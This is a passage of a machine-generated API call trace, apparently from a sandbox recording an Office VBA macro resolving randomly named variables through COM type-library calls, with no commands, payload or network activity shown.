Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.689] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.689] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc710) [0071.689] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.689] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.689] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.689] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.689] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.689] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.689] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.689] IUnknown:AddRef (This=0x2885d6296c8) returned 0x3 [0071.689] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.689] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.689] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.689] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.689] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.689] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.689] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.689] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.689] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.689] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.690] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc250 [0071.690] _mbscpy_s (in: _Dst=0x2885dacc250, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc250) returned 0x0 [0071.690] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.690] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.690] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.690] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.690] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.690] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.690] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.690] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc250) [0071.690] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.690] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.690] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.690] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.690] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.690] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.690] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.690] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="lbpDxekJlxOkeYABsTEgn") returned 0x40e342 [0071.690] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="lbpDxekJlxOkeYABsTEgn" | out: _Dst="lbpDxekJlxOkeYABsTEgn") returned 0x0 [0071.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="lbpDxekJlxOkeYABsTEgn") returned 22 [0071.690] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.690] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="lbpDxekJlxOkeYABsTEgn", lHashVal=0x40e342, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.690] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.690] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.690] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="lbpDxekJlxOkeYABsTEgn", lHashVal=0x40e342, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.690] IUnknown:Release (This=0x28857594370) returned 0xc [0071.690] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.691] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="lbpDxekJlxOkeYABsTEgn", lHashVal=0x40e342, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.691] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.691] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.691] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="lbpDxekJlxOkeYABsTEgn", lHashVal=0x40e342, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.691] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63a26, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="lbpDxekJlxOkeYABsTEgn") returned 22 [0071.691] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="lbpDxekJlxOkeYABsTEgn", lHashVal=0x30e5e2, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.691] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da964e0 [0071.691] _mbscpy_s (in: _Dst=0x2885da964e0, _DstSizeInBytes=0x16, _Src=0x28860e63a26 | out: _Dst=0x2885da964e0) returned 0x0 [0071.691] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_lbpDxekJlxOkeYABsTEgn") returned 0x30654c [0071.691] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_lbpDxekJlxOkeYABsTEgn" | out: _Dst="_B_var_lbpDxekJlxOkeYABsTEgn") returned 0x0 [0071.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_lbpDxekJlxOkeYABsTEgn") returned 29 [0071.691] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.691] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_lbpDxekJlxOkeYABsTEgn", lHashVal=0x30654c, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.691] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.691] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.691] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_lbpDxekJlxOkeYABsTEgn", lHashVal=0x30654c, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.691] IUnknown:Release (This=0x28857594370) returned 0xc [0071.691] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.691] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_lbpDxekJlxOkeYABsTEgn", lHashVal=0x30654c, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.691] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.691] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.691] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_lbpDxekJlxOkeYABsTEgn", lHashVal=0x30654c, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.691] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.691] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.691] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7022e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_lbpDxekJlxOkeYABsTEgn") returned 29 [0071.691] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_lbpDxekJlxOkeYABsTEgn", lHashVal=0x30654c, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6c005f00720061, ppTypeComp=0x78004400000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6c005f00720061, ppTypeComp=0x78004400000000, pDummy=0x0) returned 0x0 [0071.691] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63a26 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.691] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da964e0) [0071.691] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.691] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.691] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.692] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.692] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.692] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.692] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.692] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.692] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.692] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.692] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc830 [0071.692] _mbscpy_s (in: _Dst=0x2885dacc830, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc830) returned 0x0 [0071.692] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.692] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.692] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.692] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.692] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.692] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.692] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.692] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc830) [0071.692] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.692] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.692] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.692] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.692] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.693] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.693] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.693] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="NqSuaTLpqDwlPKfFHlLQj") returned 0x40a8f1 [0071.693] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="NqSuaTLpqDwlPKfFHlLQj" | out: _Dst="NqSuaTLpqDwlPKfFHlLQj") returned 0x0 [0071.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="NqSuaTLpqDwlPKfFHlLQj") returned 22 [0071.693] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.693] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x40a8f1, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.693] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.693] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.693] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x40a8f1, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.693] IUnknown:Release (This=0x28857594370) returned 0xc [0071.693] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.693] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x40a8f1, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.693] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.693] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.693] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x40a8f1, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.693] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63a96, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="NqSuaTLpqDwlPKfFHlLQj") returned 22 [0071.693] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x309cdc, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.693] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da95d90 [0071.693] _mbscpy_s (in: _Dst=0x2885da95d90, _DstSizeInBytes=0x16, _Src=0x28860e63a96 | out: _Dst=0x2885da95d90) returned 0x0 [0071.693] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_NqSuaTLpqDwlPKfFHlLQj") returned 0x301c46 [0071.693] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_NqSuaTLpqDwlPKfFHlLQj" | out: _Dst="_B_var_NqSuaTLpqDwlPKfFHlLQj") returned 0x0 [0071.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_NqSuaTLpqDwlPKfFHlLQj") returned 29 [0071.693] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.693] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x301c46, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.693] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.693] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.693] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x301c46, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.694] IUnknown:Release (This=0x28857594370) returned 0xc [0071.694] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.694] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x301c46, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.694] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.694] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.694] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x301c46, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.694] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.694] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.694] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7026e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_NqSuaTLpqDwlPKfFHlLQj") returned 29 [0071.694] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_NqSuaTLpqDwlPKfFHlLQj", lHashVal=0x301c46, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x4e005f00720061, ppTypeComp=0x61007500000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x4e005f00720061, ppTypeComp=0x61007500000000, pDummy=0x0) returned 0x0 [0071.694] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63a96 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.694] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da95d90) [0071.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 